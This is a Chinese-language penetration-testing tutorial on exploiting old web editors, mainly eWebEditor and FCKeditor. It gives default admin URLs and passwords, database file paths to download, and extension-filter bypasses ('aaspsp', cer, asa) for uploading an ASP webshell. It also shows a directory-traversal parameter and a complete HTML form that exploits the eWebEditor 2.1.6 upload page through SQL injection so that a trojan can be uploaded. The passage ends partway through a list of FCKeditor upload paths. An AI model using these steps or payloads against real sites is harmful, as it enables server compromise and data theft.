渗透测试之编辑器漏洞与旁注、跨目录、跨库、CDN绕过

常用的编辑器

常见的编辑器有Ewebeditor fckeditor CKeditor kindeditor

1.Ewebeditor

测试环境用的是eWebEditor_v216_Free版本可以自己去网上下载对应的版本搭建本地环境

利用核心

默认后台：www.xxxx.com/ewebeditor/admin_login.asp

默认数据库：ewebeditor/db/ewebeditor.mdb

默认账号密码：admin admin/admin888

利用过程

常用入侵Ewebeditor 编辑器的步骤如下

1.首先访问默认管理页面看是否存在

默认管理页地址2.80以前为 ewebeditor/admin_login.asp 以后版本为admin/login.asp(其他语言改后戳,这里以asp为例) 。

2.默认管理员账户密码

如果默认管理页面存在就用默认账户密码登录默认账户密码为 admin admin888 常用的密码还有admin admin999 admin1 admin000 之类的。可以爆破一下

3.默认数据库地址

如果密码不是默认的就去尝试下载默认的数据库

默认数据库路径为:ewebeditor/db/ewebeditor.mdb 常用数据库路径为:

ewebeditor/db/ewebeditor.asa

ewebeditor/db/ewebeditor.asp

ewebeditor/db/#ewebeditor.asa

ewebeditor/db/#ewebeditor.mdb

ewebeditor/db/ewebeditor.mdb

ewebeditor/db/!@#ewebeditor.asp

ewebeditor/db/ewebeditor1033.mdb 等等。

很多管理员经常把数据库的后缀改成 asp asa 可以直接用迅雷下载下来

如果默认账户密码正确登录到后台以后

在图片类型这里加入asa|cer|asp|aaspsp这些后缀名

如果asp被过滤掉可以用aaspsp后缀来绕过如果遇到一个管理员有安全意识的，从代码里，把.asp .asa .cer .cdx 都完全禁止了，我们也可以用.asasaa 后缀来突破。

asa cer后缀在IIS6.0平台解析为asp执行

Aaspsp：绕过过滤过滤asp aaspsp=》asp

找到刚刚添加的样式点击工具栏开始添加按钮

先新增一个工具栏再点按钮设置

找到插入或修改图片点右箭头添加到已选按钮框内点击保存设置换一个低版本的IE浏览器访问编辑器就可以上传图片了低版本的编辑器是不支持高版本的浏览器的

再返回样式管理找到刚才设置的那个样式点击预览这里就要使用低版本的IE 否则是加载不出来按钮的

高版本浏览器

上图就是高版本浏览器访问低版本编辑器就是这样啥也点不了

低版本IE

上图就是低版本的IE 可以插入内容点击上传图片按钮等等

多版本IE集成浏览器 IETester

这边已经设置好可以上传cerasp等后缀文件

直接上传一个asp的马就可以

上传好之后点代码这块千万不要点查看源文件查看源文件啥也查看不到

直接访问上传的webshell地址

2.目录遍历

第一步点上传文件管理随便选择一个样式目录

在id=xx后面加上&dir=../

直接可以遍历目录下载文件

由于目录遍历漏洞存在2.8.0 我这个版本较低没有就不演示了

3.寻找前人入侵痕迹

如何判断有前人入侵过了??下载好数据库之后查看他的eWebEditor_style表中的S_ImageExt字段是否有被人添加过什么。

使用下面的语句进入突破:

ewebeditor.asp?ID=xx&style=yy

其中的id=xx就是被修改过的那条记录的id，而yy就是S_name字段的名字。

例如这里就修改成: ewebeditor.asp?ID=54&style=testckse 去访问图片控件就出来了。。

4.文件上传漏洞

<H1>ewebeditor asp版 2.1.6 上传漏洞利用程序----</H1><br><br> <form action="http://127.1/e/upload.asp?action=save&type=IMAGE&style=luoye' union select S_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt, [S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrl from ewebeditor_style where s_name='standard'and'a'='a" method=post name=myform enctype="multipart/form-data"> <input type=file name=uploadfile size=100><br><br> <input type=submit value=Fuck> </form>

保存上面代码到HTML 直接上传cer格式木马

正常是这个页面但是没有上传按钮自己写一个上传按钮

上传成功之后会跳到上面黑黑的页面

右键查看源代码在最下面会看到上传上去的文件名称

完结....................

FCKeditor编辑器漏洞利用

先访问这个页面查看编辑器版本/_whatsnew.html

访问编辑器页面http://192.168.60.63:825/_samples/default.html

常用上传地址

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp

由于这里用的是2.5的版本所以下面这条语句能用